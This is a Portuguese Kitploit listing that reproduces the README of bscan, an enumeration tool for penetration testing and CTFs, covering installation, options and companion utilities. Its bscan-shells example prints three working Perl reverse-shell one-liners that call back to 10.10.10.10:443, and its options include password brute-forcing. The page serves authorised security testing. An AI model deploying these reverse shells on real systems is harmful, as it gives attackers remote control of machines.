Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
bscan — uma ferramenta de enumeração de alvos assíncrona | Kitploit
Ferramentas/GitHubGitHub/welchbj/bscan
ReconhecimentoMapeamento de RedeGeração de PayloadsEscaneamento de PortasColeta de InformaçõesCTFTestes de Penetração
GitHubwelchbj/bscan

bscan

uma ferramenta de enumeração de alvos assíncrona

Ver Repositório
25034há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

bscan

:mag: uma ferramenta assíncrona de enumeração de alvos :mag_right:

travis status pypi built for kali linux python version


Sinopse

O bscan é um utilitário de linha de comando para realizar coleta ativa de informações e enumeração de serviços. Em seu núcleo, o bscan inicia de forma assíncrona processos de utilitários de varredura conhecidos, reaproveitando os resultados das varreduras em saída de console destacada e uma estrutura de diretórios bem definida.

Licença

O bscan destina-se apenas a fins educacionais e eventos como CTFs e nunca deve ser executado em máquinas e/ou redes sem consentimento prévio explícito. Este código é distribuído sob a licença MIT.

Instalação

O bscan foi escrito para ser executado no Kali Linux, mas não há nada que o impeça de funcionar em qualquer SO com as ferramentas apropriadas instaladas. Existem alguns tipos diferentes de versões empacotadas e formas de instalá-las.

A maneira mais fácil de começar é baixar a versão executável de arquivo único apropriada para seu sistema operacional (nenhuma instalação do Python necessária):

root@kitploit:~
# no Linux (isto é, Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux

# no Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"

# para baixar uma versão específica, use o seguinte padrão
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4

Você também pode baixar a versão empacotada mais recente do PyPI (observe que isso requer uma instalação existente do Python 3.6+):

root@kitploit:~
pip install bscan

Da mesma forma, você pode obter a versão mais recente do controle de versão:

root@kitploit:~
pip install https://github.com/welchbj/bscan/archive/master.tar.gz

Uso Básico

O bscan possui uma ampla variedade de opções de configuração que podem ser usadas para ajustar as varreduras às suas necessidades. Aqui está um exemplo rápido:

root@kitploit:~
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org

O que está acontecendo aqui?

  • --max-concurrency 3 significa que no máximo 3 subprocessos de varredura simultâneos serão executados por vez
  • --patterns [Mm]icrosoft define um padrão regex personalizado para destacar correspondências na saída da varredura gerada
  • --status-interval 10 diz ao bscan para imprimir atualizações de status em tempo de execução a cada 10 segundos
  • --verbose-status significa que cada uma dessas atualizações de status imprimirá detalhes de todos os subprocessos de varredura atualmente em execução
  • scanme.nmap.org é o host que queremos enumerar

O bscan também depende de alguns arquivos de configuração adicionais. Os arquivos padrão podem ser encontrados no diretório bscan/configuation e servem aos seguintes propósitos:

  • patterns.txt especifica os padrões regex a serem destacados na saída do console quando correspondentes à saída da varredura
  • required-programs.txt especifica os programas instalados que o bscan planeja usar
  • port-scans.toml define as varreduras de descoberta de portas a serem executadas no(s) alvo(s), bem como as expressões regulares usadas para analisar números de porta e nomes de serviços da saída da varredura
  • service-scans.toml define as varreduras a serem executadas no(s) alvo(s) por serviço

Opções Detalhadas

Aqui está o que você deve ver ao executar bscan --help:

root@kitploit:~
usage: bscan [OPTIONS] targets

 _
| |__  ___  ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|

an asynchronous service enumeration tool

positional arguments:
  targets               the targets and/or networks on which to perform enumeration

optional arguments:
  -h, --help            show this help message and exit
  --brute-pass-list F   filename of password list to use for brute-forcing
  --brute-user-list F   filename of user list to use for brute-forcing
  --cmd-print-width I   the maximum integer number of characters allowed when printing
                        the command used to spawn a running subprocess (defaults to 80)
  --config-dir D        the base directory from which to load the configuration files;
                        required configuration files missing from this directory will
                        instead be loaded from the default files shipped with this
                        program
  --hard                force overwrite of existing directories
  --max-concurrency I   maximum integer number of subprocesses permitted to be running
                        concurrently (defaults to 20)
  --no-program-check    disable checking the presence of required system programs
  --no-file-check       disable checking the presence of files such as configured
                        wordlists
  --no-service-scans    disable running scans on discovered services
  --output-dir D        the base directory in which to write output files
  --patterns [ [ ...]]  regex patterns to highlight in output text
  --ping-sweep          enable ping sweep filtering of hosts from a network range
                        before running more intensive scans
  --quick-only          whether to only run the quick scan (and not include the
                        thorough scan over all ports)
  --qs-method S         the method for performing the initial TCP port scan; must
                        correspond to a configured port scan
  --status-interval I   integer number of seconds to pause in between printing status
                        updates; a non-positive value disables updates (defaults to 30)
  --ts-method S         the method for performing the thorough TCP port scan; must
                        correspond to a configured port scan
  --udp                 whether to run UDP scans
  --udp-method S        the method for performing the UDP port scan; must correspond
                        to a configured port scan
  --verbose-status      whether to print verbose runtime status updates, based on
                        frequency specified by `--status-interval` flag
  --version             program version
  --web-word-list F     the wordlist to use for scans

Ferramentas Complementares

O programa principal bscan vem com dois programas utilitários (bscan-wordlists e bscan-shells) para facilitar sua vida na busca por wordlists e na tentativa de abrir shells reversos.

bscan-wordlists é um programa projetado para encontrar arquivos de wordlist no Kali Linux. Ele pesquisa alguns diretórios padrão e permite correspondência de nomes de arquivos com glob. Aqui está um exemplo simples:

root@kitploit:~
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt

Experimente bscan-wordlists --help para explorar outras opções.

bscan-shells é um programa que gera uma variedade de one-liners de shell reverso com os campos target e port preenchidos para você. Aqui está um exemplo simples para listar todos os shells baseados em Perl, configurados para reconectar a 10.10.10.10 na porta 443:

root@kitploit:~
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Observe que o bscan-shells obtém esses comandos do arquivo de configuração reverse-shells.toml. Experimente bscan-shells --help para explorar outras opções.

Desenvolvimento

Comece configurando um novo ambiente de desenvolvimento e instalando os requisitos (usando virtualenvwrapper / virtualenvwrapper-win):

root@kitploit:~
# configurar o ambiente
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev

# obter as dependências
pip install -r dev-requirements.txt

Execute lint e verificação de tipos no projeto (também executados no Travis):

root@kitploit:~
flake8 . && mypy bscan

Quando chegar a hora de empacotar uma nova versão:

root@kitploit:~
# construir o executável de arquivo único
pyinstaller bscan.spec

# construir distribuições source e wheel
python setup.py bdist_wheel sdist

# executar verificações pós-construção
twine check dist/*

# enviar para o PyPI
twine upload dist/*
Baixar ferramenta